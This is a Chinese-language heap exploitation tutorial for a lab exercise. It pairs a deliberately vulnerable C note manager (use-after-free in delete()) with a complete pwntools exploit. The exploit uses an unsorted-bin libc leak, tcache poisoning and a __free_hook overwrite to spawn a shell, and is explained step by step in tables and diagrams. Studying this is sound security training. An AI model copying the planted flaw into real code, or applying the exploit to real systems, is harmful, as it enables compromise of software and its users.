我們上次講到的uaf是比較基礎的練習題,但是今天我們要說的是要如何在沒有後門的情況下也可以開shell
uaf_adv.c:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <string.h>
#define MAX_NOTES 8
void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
}
void menu() {
    puts("1. Add a note");
    puts("2. Delete a note");
    puts("3. Show a note");
    puts("4. Update a note");
    puts("5. Exit");
}
char *notes[MAX_NOTES] = {0};
uint32_t note_len[MAX_NOTES] = {0};
int free_index() {
    for (int i = 0; i < MAX_NOTES; ++i) {
        if (!notes[i]) return i;
    }
    return -1;
}
void add() {
    int index = free_index();
    if (index < 0) {
        puts("You have too many notes!");
        exit(-1);
    }
    printf("Note size: ");
    unsigned int size = 0;
    scanf("%u", &size);
    getchar();
    notes[index] = (char *)malloc(size);
    if (!notes[index]) {
        perror("malloc");
        exit(-1);
    }
    note_len[index] = size;
    printf("Enter your note: ");
    fgets(notes[index], size, stdin);
    puts("Note added!");
}
void delete() {
    int index = 0;
    printf("Note index: ");
    scanf("%d", &index);
    getchar();
    if (index >= MAX_NOTES || index < 0) {
        puts("Invalid index!");
        exit(-1);
    }
    if (!notes[index]) {
        puts("Note not found!");
        exit(-1);
    }
    free(notes[index]);
    puts("Note deleted!");
}
void show() {
    int index = -1;
    printf("Note index: ");
    scanf("%d", &index);
    getchar();
    if (index >= MAX_NOTES || index < 0) {
        puts("Invalid index!");
        exit(-1);
    }
    if (!notes[index]) {
        puts("Note not found!");
        exit(-1);
    }
    printf("Your note: %s\n", notes[index]);
}
void update() {
    int index = -1;
    printf("Note index: ");
    scanf("%d", &index);
    getchar();
    if (index >= MAX_NOTES || index < 0) {
        puts("Invalid index!");
        exit(-1);
    }
    if (!notes[index]) {
        puts("Note not found!");
        exit(-1);
    }
    printf("Enter your new note: ");
    fgets(notes[index], note_len[index], stdin);
    puts("Note updated!");
}
int main() {
    init();
    while (1) {
        menu();
        printf("> ");
        int choice;
        scanf("%d", &choice);
        getchar();
        switch (choice) {
            case 1:
                add();
                break;
            case 2:
                delete();
                break;
            case 3:
                show();
                break;
            case 4:
                update();
                break;
            case 5:
                puts("Bye!");
                exit(0);
            default:
                puts("Invalid choice.");
                break;
        }
    }
    return 0;
}
makefile:
uaf_adv: uaf_adv.c
        gcc uaf_adv.c -o uaf_adv -fstack-protector-all
exp.py:
from pwn import *
libc = ELF('../share/libc.so.6', checksec=False)
ld_path = "../share/ld-linux-x86-64.so.2"
binary_path = "../share/uaf_adv"
r = process([ld_path, binary_path], cwd="../share")
def add(size, note):
    r.sendlineafter(b'> ', b'1')
    r.sendlineafter(b': ', str(size).encode())
    r.sendlineafter(b': ', note)
def delete(idx):
    r.sendlineafter(b'> ', b'2')
    r.sendlineafter(b': ', str(idx).encode())
def show(idx):
    r.sendlineafter(b'> ', b'3')
    r.sendlineafter(b': ', str(idx).encode())
    r.recvuntil(b'Your note: ')
    leak = r.recvline().strip()
    return leak
def update(idx, new):
    r.sendlineafter(b'> ', b'4')
    r.sendlineafter(b': ', str(idx).encode())
    r.sendlineafter(b': ', new)
add(0x428, b'a'*8)
add(0x28, b'b'*8)
delete(0)
leak_addr = u64(show(0).ljust(8, b'\x00'))
success(f"Leaked address: {hex(leak_addr)}")
libc_base = leak_addr - (libc.symbols['__malloc_hook'] + 0x70)
success(f'libc_base: {hex(libc_base)}')
free_hook = libc_base + libc.symbols['__free_hook']
system = libc_base + libc.symbols['system']
success(f'free hook leak: {hex(free_hook)}')
success(f'system address: {hex(system)}')
add(0x38, b'a' * 8)
add(0x38, b'b' * 8)
delete(2)
delete(3)
update(3, p64(free_hook))
add(0x38, b'c' * 8)
add(0x38, p64(system))
add(0x20, b'/bin/sh\x00')
delete(6)
r.interactive()
| 分類 | 說明 | ||
|---|---|---|---|
| 漏洞名稱 | Use-After-Free (UAF) | ||
| 漏洞來源 | delete() 函數在 free 後沒有將 pointer 設為 NULL,造成 freed chunk 仍可透過 show() 或 update() 存取 | 
||
| 程式功能 | Note Manager:新增、刪除、顯示、更新筆記 | ||
| 漏洞關鍵 | - Use-After-Free (UAF)- Heap manipulation (malloc/free)- Tcache poisoning- Hook overwrite (__free_hook) | 
||
| 利用流程 Step 1 | 泄露 libc 地址(Unsorted Bin Leak)1. 分配大 chunk (0x428) → index 02. 分配小 chunk (0x28) → index 13. 刪除大 chunk → 放入 unsorted bin4. show(0) 讀取 fd/bk 指標,計算 libc base | 
||
| 利用流程 Step 2 | Tcache Poisoning 任意寫1. 分配小 chunk (0x38) → index 22. 分配小 chunk (0x38) → index 33. 刪除 index 2 和 3 → 放入 tcache freelist4. update(3, p64(__free_hook)) → 修改 tcache fd 指向 __free_hook5. 下次 malloc 會返回 __free_hook 位址 | 
||
| 利用流程 Step 3 | 覆寫 hook 與觸發 system1. malloc → 返回 __free_hook,寫入 system 地址2. malloc → 建立 chunk,內容為 "/bin/sh"3. free 該 chunk → 觸發 system("/bin/sh"),取得 shell | 
||
| Chunk 對應表 | |||
| Index | Chunk Size | Status | 備註 | 
| 0 | 0x428 | freed | 進入 unsorted bin,leak libc | 
| 1 | 0x28 | allocated | 小 chunk,暫未利用 | 
| 2 | 0x38 | freed | 放入 tcache | 
| 3 | 0x38 | freed → tcache fd 指向 __free_hook | 
tcache poisoning 目標 | 
| 4 | 0x38 | allocated | malloc 返回 tcache → 寫入任意地址 (__free_hook) | 
| 5 | 0x38 | allocated | malloc → 寫入 system | 
| 6 | 0x20 | allocated → free | 包含 /bin/sh,觸發 shell | 
| Libc Hook 位址 | __free_hook = libc_base + offsetsystem = libc_base + offset | 
||
| 攻擊核心 | 1. UAF 允許修改 freed chunk2. Unsorted-bin leak 泄露 libc base3. Tcache poisoning 取得任意寫4. Hook overwrite → system5. free("/bin/sh") → RCE | ||
| 利用技術摘要 | - Heap exploitation- UAF → 任意寫入- Libc leak → 計算基址- Tcache freelist manipulation- Hook hijacking (__free_hook) | 
| 步驟 | 操作 | Index | Chunk Size | 狀態 / 所在位置 | 備註 | 
|---|---|---|---|---|---|
| 1 | malloc | 0 | 0x428 | allocated | 大 chunk,用來 leak libc | 
| 2 | malloc | 1 | 0x28 | allocated | 小 chunk,暫未利用 | 
| 3 | free | 0 | 0x428 | freed → unsorted bin | 透過 show(0) 泄露 libc 地址 | 
| 4 | malloc | 2 | 0x38 | allocated | 小 chunk,準備 tcache poisoning | 
| 5 | malloc | 3 | 0x38 | allocated | 小 chunk,準備 tcache poisoning | 
| 6 | free | 2 | 0x38 | freed → tcache | 放入 tcache freelist | 
| 7 | free | 3 | 0x38 | freed → tcache | 放入 tcache freelist | 
| 8 | update | 3 | 0x38 | tcache fd 改為 __free_hook | 
tcache poisoning,修改 freelist | 
| 9 | malloc | 4 | 0x38 | allocated | malloc 返回 tcache → 寫入任意地址 (__free_hook) | 
| 10 | malloc | 5 | 0x38 | allocated | malloc 返回 __free_hook,寫入 system 地址 | 
| 11 | malloc | 6 | 0x20 | allocated | 建立 chunk,內容為 /bin/sh | 
| 12 | free | 6 | 0x20 | freed → 調用 system("/bin/sh") | 
觸發 shell | 
Step 1~2: malloc chunks
+---------+  +-----+
| chunk0  |  | c1  |
| 0x428   |  |0x28 |
+---------+  +-----+
allocated  allocated
Step 3: free large chunk → unsorted bin
chunk0 freed → points to main_arena (libc leak)
Step 4~5: malloc small chunks
+----+  +----+
| c2 |  | c3 |
|0x38 | |0x38|
+----+  +----+
allocated allocated
Step 6~7: free small chunks → tcache
tcache[0x40]: c3 -> c2 -> NULL
Step 8: update c3 → overwrite fd → __free_hook
tcache[0x40]: __free_hook -> c2 -> NULL
Step 9~10: malloc → get __free_hook → write system
malloc(0x38) → c3' → write __free_hook
malloc(0x38) → c4 → write system
Step 11~12: malloc("/bin/sh") → free → system("/bin/sh")
RCE achieved
Pwned!